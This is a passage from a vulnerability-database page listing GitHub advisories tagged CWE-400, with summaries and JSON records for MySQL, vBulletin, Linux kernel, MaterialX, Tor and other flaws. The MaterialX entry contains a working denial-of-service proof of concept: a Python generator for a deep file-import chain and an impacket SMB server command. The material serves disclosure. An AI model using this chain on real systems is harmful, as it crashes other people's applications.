Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5475 vulnerabilities reference this CWE, most recent first.

GHSA-Q9GW-32R3-98XH

Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-53054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-21T20:20:43Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and  9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as  unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).",
  "id": "GHSA-q9gw-32r3-98xh",
  "modified": "2025-10-21T21:33:42Z",
  "published": "2025-10-21T21:33:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53054"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9MH-R9FG-8H8R

Vulnerability from github – Published: 2026-01-20 15:33 – Updated: 2026-02-02 18:31
VLAI
Details

A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. During execution of the Achilles Comprehensive limited storm tests, the device reboots unexpectedly, causing the Link State Monitor to go down for several seconds.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-9282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-20T14:16:12Z",
    "severity": "HIGH"
  },
  "details": "A security issue exists within ArmorStart\u00ae LT that can result in a denial-of-service condition. During execution of the Achilles Comprehensive limited storm tests, the device reboots unexpectedly, causing the Link State Monitor to go down for several seconds.",
  "id": "GHSA-q9mh-r9fg-8h8r",
  "modified": "2026-02-02T18:31:31Z",
  "published": "2026-01-20T15:33:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9282"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1768.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q9RX-45GJ-G3F5

Vulnerability from github – Published: 2025-07-23 18:30 – Updated: 2025-07-23 18:30
VLAI
Details

vBulletin 3.8.7 is vulnerable to a denial-of-service condition via the misc.php?do=buddylist endpoint. If an authenticated user has a sufficiently large buddy list, processing the list can consume excessive memory, exhausting system resources and crashing the forum.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-46171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-23T16:15:26Z",
    "severity": "MODERATE"
  },
  "details": "vBulletin 3.8.7 is vulnerable to a denial-of-service condition via the misc.php?do=buddylist endpoint. If an authenticated user has a sufficiently large buddy list, processing the list can consume excessive memory, exhausting system resources and crashing the forum.",
  "id": "GHSA-q9rx-45gj-g3f5",
  "modified": "2025-07-23T18:30:36Z",
  "published": "2025-07-23T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46171"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oiyl/CVE-2025-46171"
    },
    {
      "type": "WEB",
      "url": "http://vbulletin.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC27-QR34-95W5

Vulnerability from github – Published: 2024-06-20 12:31 – Updated: 2024-07-03 18:46
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ASoC: codecs: wcd938x: fix incorrect used of portid

Mixer controls have the channel id in mixer->reg, which is not same as port id. port id should be derived from chan_info array. So fix this. Without this, its possible that we could corrupt struct wcd938x_sdw_priv by accessing port_map array out of range with channel id instead of port id.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-48716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T11:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: codecs: wcd938x: fix incorrect used of portid\n\nMixer controls have the channel id in mixer-\u003ereg, which is not same\nas port id. port id should be derived from chan_info array.\nSo fix this. Without this, its possible that we could corrupt\nstruct wcd938x_sdw_priv by accessing port_map array out of range\nwith channel id instead of port id.",
  "id": "GHSA-qc27-qr34-95w5",
  "modified": "2024-07-03T18:46:08Z",
  "published": "2024-06-20T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48716"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9167f2712dc8c24964840a4d1e2ebf130e846b95"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aa7152f9f117b3e66b3c0d4158ca4c6d46ab229f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c5c1546a654f613e291a7c5d6f3660fc1eb6d0c7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC2H-74X3-4V3W

Vulnerability from github – Published: 2025-07-31 19:37 – Updated: 2025-08-01 18:36
VLAI
Summary
MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
Details

Summary

Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.

Details

The MaterialX specification supports importing other files by using XInclude tags.

When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.

However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.

PoC

This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.

Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.

In order to reproduce this test, please follow the steps below:

  1. Compile or download the MaterialXView application in a Windows machine
  2. In a separate Linux machine in the same local network, install the impacket package (the documentation of the package suggests using pipx, as in python3 -m pipx install impacket).
  3. In the Linux machine, create a file named template.mtlx with the following content:
<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
  <xi:include href="\\\\{ip}\\{name}.mtlx"/>
  <surfacematerial name="Aluminum_Brushed" type="material">
    <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
  </surfacematerial>
  <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
    <input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
    <input name="base_metalness" type="float" value="1.0" />
    <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
    <input name="specular_roughness" type="float" value="0.2" />
    <input name="specular_roughness_anisotropy" type="float" value="0.9" />
  </open_pbr_surface>
</materialx>
  1. In the same directory, create a file named script.py with the following content:
import argparse
import uuid
import os
from pathlib import Path

MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024

def uuid_generator(count):
    for _ in range(count):
        yield str(uuid.uuid4())

def get_dir_and_file_count(total_files):
    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
    if num_dirs > MAX_DIRECTORIES:
        raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
    return num_dirs

def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
    with open(template_path, 'r') as f:
        template_content = f.read()

    Path(output_dir).mkdir(parents=True, exist_ok=True)

    dir_count = get_dir_and_file_count(num_iterations)
    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]

    for dir_uuid in dir_uuids:
        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)

    uuid_gen = uuid_generator(num_iterations)
    next_uuid = next(uuid_gen)
    first_file_path = None

    for i in range(num_iterations):
        current_uuid = next_uuid
        next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"

        dir_index = i // MAX_FILES_PER_DIR
        dir_uuid = dir_uuids[dir_index]

        if next_uuid != "FINAL":
            next_dir_index = (i + 1) // MAX_FILES_PER_DIR
            next_dir_uuid = dir_uuids[next_dir_index]
            include_path = f"{share_name}\\{next_dir_uuid}\\{next_uuid}"
        else:
            include_path = next_uuid

        content = template_content.replace("{ip}", ip_address)
        content = content.replace("{name}", include_path)

        output_path = os.path.join(output_dir, dir_uuid, f"{current_uuid}.mtlx")
        with open(output_path, 'w') as f:
            f.write(content)

        if i == 0:
            first_file_path = f"\\\\{ip_address}\\{share_name}\\{dir_uuid}\\{current_uuid}.mtlx"
            print(f"First file created at UNC path: {first_file_path}")

def main():
    parser = argparse.ArgumentParser(description='Generate chain of MaterialX files')
    parser.add_argument('template', help='Path to template MaterialX file')
    parser.add_argument('output_dir', help='Output directory for generated files')
    parser.add_argument('ip_address', help='IP address to use in file paths')
    parser.add_argument('share_name', help='Share name to use in file paths')
    parser.add_argument('--iterations', type=int, default=10,
                      help='Number of files to generate (default: 10)')

    args = parser.parse_args()

    if args.iterations > MAX_FILES_PER_DIR * MAX_DIRECTORIES:
        print(f"Error: Maximum number of files is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
        return

    create_materialx_chain(
        args.template,
        args.output_dir,
        args.ip_address,
        args.share_name,
        args.iterations
    )

if __name__ == "__main__":
    main()
  1. Run the python script with the following command line, replacing the $IP placeholder with the IP address of your interface (the command will take some time to execute): python3 script.py --iterations 1048576 template.mtlx chain $IP chain
    • This will print, in the console, a line documenting the UNC path of the first file of the chain. Copy that path in the clipboard.
  2. Spawn the SMB server by executing the following command line: pipx run --spec impacket smbserver.py -smb2support chain chain/
  3. In the Windows machine, create a MaterialX file with the following content, replacing the $UNCPATH placeholder with the content of the path printed at step 5:
<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
  <xi:include href="$UNCPATH"/>
  <surfacematerial name="Aluminum_Brushed" type="material">
    <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
  </surfacematerial>
  <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
    <input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
    <input name="base_metalness" type="float" value="1.0" />
    <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
    <input name="specular_roughness" type="float" value="0.2" />
    <input name="specular_roughness_anisotropy" type="float" value="0.9" />
  </open_pbr_surface>
</materialx>
  1. Load the MaterialX file in MaterialXView
  2. Notice that the viewer doesn't respond anymore. After some minutes, notice that the viewer crashes, demonstrating the Stack Exhaustion

Note: by consulting the Windows Event Viewer, it is possible to examine the application crash, verifying that it is indeed crashing with a STATUS_STACK_OVERFLOW (0xc00000fd).

Impact

An attacker exploiting this vulnerability would be able to intentionally stall and crash an application reading MaterialX files controlled by them.

In Windows, the attack complexity is lower, since the malicious MaterialX file can reference remote paths via the UNC notation. However, the attack would work in other systems as well, provided that the attacker can write an arbitrary amount of MaterialX files (implementing the chain) in the local file system.

Severity
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MaterialX"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.39.2"
            },
            {
              "fixed": "1.39.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.39.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-31T19:37:51Z",
    "nvd_published_at": "2025-08-01T18:15:54Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the \"import chain\" depth.\n\n### Details\nThe MaterialX [specification](https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition) supports importing other files by using `XInclude` tags.\n\nWhen parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.\n\nHowever, there is no limit imposed to the depth of files that\ncan be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.\n\n### PoC\nThis test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single `.mtlx` file being parsed.\n\nNote that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.\n\nIn order to reproduce this test, please follow the steps below:\n\n1. Compile or download the MaterialXView application in a Windows machine\n2. In a separate Linux machine in the same local network, install the `impacket` package (the documentation of the package suggests using `pipx`, as in `python3 -m pipx install impacket\n`). \n3. In the Linux machine, create a file named `template.mtlx` with the following content:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmaterialx version=\"1.39\" colorspace=\"lin_rec709\"\u003e\n  \u003cxi:include href=\"\\\\\\\\{ip}\\\\{name}.mtlx\"/\u003e\n  \u003csurfacematerial name=\"Aluminum_Brushed\" type=\"material\"\u003e\n    \u003cinput name=\"surfaceshader\" type=\"surfaceshader\" nodename=\"open_pbr_surface_surfaceshader\" /\u003e\n  \u003c/surfacematerial\u003e\n  \u003copen_pbr_surface name=\"open_pbr_surface_surfaceshader\" type=\"surfaceshader\"\u003e\n    \u003cinput name=\"base_color\" type=\"color3\" value=\"0.912, 0.914, 0.920\" /\u003e\n    \u003cinput name=\"base_metalness\" type=\"float\" value=\"1.0\" /\u003e\n    \u003cinput name=\"specular_color\" type=\"color3\" value=\"0.970, 0.979, 0.988\" /\u003e\n    \u003cinput name=\"specular_roughness\" type=\"float\" value=\"0.2\" /\u003e\n    \u003cinput name=\"specular_roughness_anisotropy\" type=\"float\" value=\"0.9\" /\u003e\n  \u003c/open_pbr_surface\u003e\n\u003c/materialx\u003e\n```\n4. In the same directory, create a file named `script.py` with the following content:\n```python\nimport argparse\nimport uuid\nimport os\nfrom pathlib import Path\n\nMAX_FILES_PER_DIR = 1024\nMAX_DIRECTORIES = 1024\n\ndef uuid_generator(count):\n    for _ in range(count):\n        yield str(uuid.uuid4())\n\ndef get_dir_and_file_count(total_files):\n    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR\n    if num_dirs \u003e MAX_DIRECTORIES:\n        raise ValueError(f\"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n    return num_dirs\n\ndef create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):\n    with open(template_path, \u0027r\u0027) as f:\n        template_content = f.read()\n    \n    Path(output_dir).mkdir(parents=True, exist_ok=True)\n    \n    dir_count = get_dir_and_file_count(num_iterations)\n    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]\n    \n    for dir_uuid in dir_uuids:\n        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)\n    \n    uuid_gen = uuid_generator(num_iterations)\n    next_uuid = next(uuid_gen)\n    first_file_path = None\n\n    for i in range(num_iterations):\n        current_uuid = next_uuid\n        next_uuid = next(uuid_gen) if i \u003c num_iterations - 1 else \"FINAL\"\n        \n        dir_index = i // MAX_FILES_PER_DIR\n        dir_uuid = dir_uuids[dir_index]\n        \n        if next_uuid != \"FINAL\":\n            next_dir_index = (i + 1) // MAX_FILES_PER_DIR\n            next_dir_uuid = dir_uuids[next_dir_index]\n            include_path = f\"{share_name}\\\\{next_dir_uuid}\\\\{next_uuid}\"\n        else:\n            include_path = next_uuid\n        \n        content = template_content.replace(\"{ip}\", ip_address)\n        content = content.replace(\"{name}\", include_path)\n        \n        output_path = os.path.join(output_dir, dir_uuid, f\"{current_uuid}.mtlx\")\n        with open(output_path, \u0027w\u0027) as f:\n            f.write(content)\n\n        if i == 0:\n            first_file_path = f\"\\\\\\\\{ip_address}\\\\{share_name}\\\\{dir_uuid}\\\\{current_uuid}.mtlx\"\n            print(f\"First file created at UNC path: {first_file_path}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027Generate chain of MaterialX files\u0027)\n    parser.add_argument(\u0027template\u0027, help=\u0027Path to template MaterialX file\u0027)\n    parser.add_argument(\u0027output_dir\u0027, help=\u0027Output directory for generated files\u0027)\n    parser.add_argument(\u0027ip_address\u0027, help=\u0027IP address to use in file paths\u0027)\n    parser.add_argument(\u0027share_name\u0027, help=\u0027Share name to use in file paths\u0027)\n    parser.add_argument(\u0027--iterations\u0027, type=int, default=10,\n                      help=\u0027Number of files to generate (default: 10)\u0027)\n    \n    args = parser.parse_args()\n    \n    if args.iterations \u003e MAX_FILES_PER_DIR * MAX_DIRECTORIES:\n        print(f\"Error: Maximum number of files is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n        return\n    \n    create_materialx_chain(\n        args.template,\n        args.output_dir,\n        args.ip_address,\n        args.share_name,\n        args.iterations\n    )\n\nif __name__ == \"__main__\":\n    main()\n```\n5. Run the python script with the following command line, replacing the `$IP` placeholder with the IP address of your interface (the command will take some time to execute): `python3 script.py --iterations 1048576 template.mtlx chain $IP chain`\n    - This will print, in the console, a line documenting the UNC path of the first file of the chain. Copy that path in the clipboard.\n6. Spawn the SMB server by executing the following command line: `pipx run --spec impacket smbserver.py -smb2support chain chain/`\n7. In the Windows machine, create a MaterialX file with the following content, replacing the `$UNCPATH` placeholder with the content of the path printed at step 5:\n```\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmaterialx version=\"1.39\" colorspace=\"lin_rec709\"\u003e\n  \u003cxi:include href=\"$UNCPATH\"/\u003e\n  \u003csurfacematerial name=\"Aluminum_Brushed\" type=\"material\"\u003e\n    \u003cinput name=\"surfaceshader\" type=\"surfaceshader\" nodename=\"open_pbr_surface_surfaceshader\" /\u003e\n  \u003c/surfacematerial\u003e\n  \u003copen_pbr_surface name=\"open_pbr_surface_surfaceshader\" type=\"surfaceshader\"\u003e\n    \u003cinput name=\"base_color\" type=\"color3\" value=\"0.912, 0.914, 0.920\" /\u003e\n    \u003cinput name=\"base_metalness\" type=\"float\" value=\"1.0\" /\u003e\n    \u003cinput name=\"specular_color\" type=\"color3\" value=\"0.970, 0.979, 0.988\" /\u003e\n    \u003cinput name=\"specular_roughness\" type=\"float\" value=\"0.2\" /\u003e\n    \u003cinput name=\"specular_roughness_anisotropy\" type=\"float\" value=\"0.9\" /\u003e\n  \u003c/open_pbr_surface\u003e\n\u003c/materialx\u003e\n```\n8. Load the MaterialX file in MaterialXView\n9. Notice that the viewer doesn\u0027t respond anymore. After some minutes, notice that the viewer crashes, demonstrating the Stack Exhaustion\n\nNote: by consulting the Windows `Event Viewer`, it is possible to examine the application crash, verifying that it is indeed crashing with a `STATUS_STACK_OVERFLOW (0xc00000fd)`.\n\n### Impact\n\nAn attacker exploiting this vulnerability would be able to intentionally stall and crash an application reading MaterialX files controlled by them.\n\nIn Windows, the attack complexity is lower, since the malicious MaterialX file can reference remote paths via the UNC notation. However, the attack would work in other systems as well, provided that the attacker can write an arbitrary amount of MaterialX files (implementing the chain) in the local file system.",
  "id": "GHSA-qc2h-74x3-4v3w",
  "modified": "2025-08-01T18:36:16Z",
  "published": "2025-07-31T19:37:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-qc2h-74x3-4v3w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/MaterialX/pull/2233/commits/6182c07467297416a30d148ab531d81198686dc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/MaterialX"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion"
}

GHSA-QC2P-7PH7-28GF

Vulnerability from github – Published: 2022-01-20 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

The Background service in Allwinner R818 SoC Android Q SDK V1.0 is used to manage background applications. Malicious apps can use the interface provided by the service to set the number of applications allowed to run in the background to 0 and add themselves to the whitelist, so that once other applications enter the background, they will be forcibly stopped by the system, causing a denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-38788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Background service in Allwinner R818 SoC Android Q SDK V1.0 is used to manage background applications. Malicious apps can use the interface provided by the service to set the number of applications allowed to run in the background to 0 and add themselves to the whitelist, so that once other applications enter the background, they will be forcibly stopped by the system, causing a denial of service.",
  "id": "GHSA-qc2p-7ph7-28gf",
  "modified": "2022-07-13T00:01:35Z",
  "published": "2022-01-20T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pokerfacett/MY_CVE_CREDIT/blob/master/Allwinner%20R818%20SoC%EF%BC%9Abackground%20service%20has%20EoP%20Vulnerability.md"
    },
    {
      "type": "WEB",
      "url": "https://vul.wangan.com/a/CNVD-2021-46928"
    },
    {
      "type": "WEB",
      "url": "https://www.allwinnertech.com/index.php?c=product\u0026a=index\u0026id=92"
    },
    {
      "type": "WEB",
      "url": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-46928"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC3C-VMF8-HGCJ

Vulnerability from github – Published: 2025-09-18 15:30 – Updated: 2025-09-18 15:30
VLAI
Details

A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-4444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-18T14:15:49Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack\u0027s complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.",
  "id": "GHSA-qc3c-vmf8-hgcj",
  "modified": "2025-09-18T15:30:35Z",
  "published": "2025-09-18T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4444"
    },
    {
      "type": "WEB",
      "url": "https://forum.torproject.org/t/alpha-and-stable-release-0-4-8-18-and-0-4-9-3-alpha/20578"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chunmianwang/Tordos"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.torproject.org/tpo/core/tor/-/raw/release-0.4.8/ReleaseNotes"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.324814"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.324814"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.640605"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QC4M-RX2P-HRFV

Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2024-07-03 18:38
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

KVM: Always flush async #PF workqueue when vCPU is being destroyed

Always flush the per-vCPU async #PF workqueue when a vCPU is clearing its completion queue, e.g. when a VM and all its vCPUs is being destroyed. KVM must ensure that none of its workqueue callbacks is running when the last reference to the KVM module is put. Gifting a reference to the associated VM prevents the workqueue callback from dereferencing freed vCPU/VM memory, but does not prevent the KVM module from being unloaded before the callback completes.

Drop the misguided VM refcount gifting, as calling kvm_put_kvm() from async_pf_execute() if kvm_put_kvm() flushes the async #PF workqueue will result in deadlock. async_pf_execute() can't return until kvm_put_kvm() finishes, and kvm_put_kvm() can't return until async_pf_execute() finishes:

